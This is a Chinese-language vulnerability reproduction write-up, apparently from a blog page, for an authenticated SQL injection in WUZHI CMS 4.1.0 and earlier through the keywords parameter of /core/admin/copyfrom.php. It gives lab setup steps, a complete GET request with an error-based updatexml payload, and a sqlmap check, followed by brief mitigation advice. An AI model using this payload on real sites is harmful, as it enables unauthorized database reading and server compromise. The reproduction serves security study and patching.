【漏洞复现】五指CMS copyfrom.php SQL注入漏洞复现

声明:亲爱的读者,我们诚挚地提醒您,Aniya网络安全的技术文章仅供个人研究学习参考。任何因传播或利用本实验室提供的信息而造成的直接或间接后果及损失,均由使用者自行承担责任。Aniya网络安全及作者对此概不负责。如有侵权,请立即告知,我们将立即删除并致歉。感谢您的理解与支持!

0x01 产品简介

WUZHI CMS是北京五指互联科技有限公司的一套基于PHP和MySQL的开源内容管理系统,响应式布局,一个网站兼容多个终端 × 微信接口全支持,快速构建微营销平台 × 开放接口,支持第三方APP无缝接入。

0x02 漏洞概述

五指CMS的/core/admin/copyfrom.php $keywords参数存在SQL注入漏洞,经过身份验证的攻击者可通过该漏洞获取数据库中的信息之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

0x03 影响范围

Wuzhicms <= v4.1.0

0x04 复现环境搭建

phpstudy集成环境

Nginx(1.15.11) + MySQL(5.7.26) + php(7.2.4nts)WuZhiCMS V4.1.0

安装包:https://github.com/wangshunde/wuzhicms                                               

 打不开开加速器,作者是开的游戏加速器加速Github站

访问以下路径进行安装,并且提前搭建好数据库。

http://{ip/host}/www/install/index.php

图片

0x05漏洞复现

需要进行登录认证

图片

漏洞URL路径

/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms

图片

漏洞POC

GET /www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=&_submenuid=&keywords=1'+and+updatexml(1,concat(0x7e,user(),0x7e),1)--+ HTTP/1.1
Host: 192.168.5.146
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.5.146/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=8e1iv8mhg3peefbamikj5hgg9g; oAf_siteid=2b92gtq6hC8N7wWn7RPdtdsUSWN12n21gtiXENTt
Connection: close


对于初学者来说Poc是什么,poc就是概念验证,就是验证是否存在的东西。你们搜索抓包过后 在第一行的末尾加上

'+and+updatexml(1,concat(0x7e,user(),0x7e),1)--+

图片

SQLmap补充验证

文本是Get包

图片

图片

0x06 漏洞修复

官方暂时未发布最新补丁,请注意官网最新消息。

或者添加Waf,以及关键字过滤。

https://www.wuzhicms.com/

小编提示:未经授权的渗透测试属于违法行为!!!!

图片

  • 26
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
五指cms由原phpcms V9 负责人王参加主导开发,前后台界面采用html5+css3技术,可以进行跨屏、跨设备管理内容,极大的提升了用户体验。五指CMS主要包含以下功能点: 一、模型化设计: 1、全站统一模型,方便二次开发; 2、独创共享模型,独立模型,大小数据全部按需存储; 3、支持10多种不同类型的字段添加:如,文本字段,超级字段,地图字段,滑动条字段,组图字段,下载字段,URL加密字段等。 二、数据读写分离: 1、默认支持数据读写分离; 2、支持1台主数据,多台从数据库; 3、支持按照权重分配数据资源。 三、安全性设计: 1、支持缓存文件目录独立设置; 2、支持www目录与核心代码分离部署; 3、支持cookie加密存储; 4、支持后台程序文件与前台文件分离; 5、支持全局Mysql注入过滤; 6、支持上传目录自定义,禁用php执行; 7、后台登录采用session+session验证码,记录所有登录历史; 8、后台管理日志记录; 9、是否允许修改模版需要有服务器文件管理权限; 10、所有菜单都需要进行权限验证; 四、性能设计: 1、缓存支持内存缓存,如:memcache 缓存; 2、不重复生成和检查模版缓存,提升性能; 五、移动优先设计: 1、默认支持移动端访问自适应; 2、无需重复发文章,文章一键推送。 五指cms v1.4 更新日志: 新增内容手动分页 新增百度地图 新增订单管理模块 新增订单地址管理 增加Microsoft YaHei字体 新增推广邀请模块 新增私密下载,下载函数 详细说明:http://php.662p.com/thread-583-1-1.html
五指CMS是一款高性能的内容管理系统,是大型门户、媒体网站、企业网站建站首选网站管理系统。五指CMS 4.1.0 UTF-8 更新日志:2017-08-31* 优化:安装时的报错显示提示;* 修复:批量更新内容页链接,当栏目有外链的时候更新失败;* 新增:批量删除附件;* 新增:内容模块:回收站内容可以批量删除;* 新增:后台模版自定义-不影响升级;* 新增:图片裁剪功能;* 新增:文件备份所在目录;* 新增:HTTP_SSL 常量,得到的结果为:http或者https;* 修复:版权信息 全站开启https版权信息后,版权信息无法显示bug;* 优化:一些notice错误;* 优化:strcut函数,notice 错误;* 优化:附件配置丢失,错误显示;* 新增:附件通过编辑器进行,上传md5 校验,不重复上传图片;* 优化:当用户调用 mysql类时,不支持时提示函数不存在;* 修复:组图选择已上传的文件,返回地址错误;* 新增sitemap批量定时更新。php /coreframe/crontab.php sitemap create;* 优化:删除多余的代码;* 新增:全站搜索,通过计划任务,自动更新到全站搜索表;* 修复:视频内容页模版缺少描述内容展示;* 修复:视频列表页面:观看数量显示错误;* 删除多余的代码;* 优化:手机登录页面;* 修复:排行榜标签,数量无法显示;* 修改:默认cookie 作用路径为 根目录;* 修复:会员字段sys_name 字段缺少;* 修复:xss 安全过滤;* 修复:组图排序拖拽;* 修复:附件上传为非图片格式,无法返回bug;* 优化:附件浏览服务器和网络地址仅仅允许后台用户使用;* 修复:最新的flash 下面 头像上传无法显示;* 修复:下载漏洞,可下载任意文件;* 新增:mysql类可以多次初始化,并传递不同的mysql配置;* 修复:登录无法调整到之前页面;* 优化:模版中删除多余调试代码;* 新增:内容页关键词链接。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值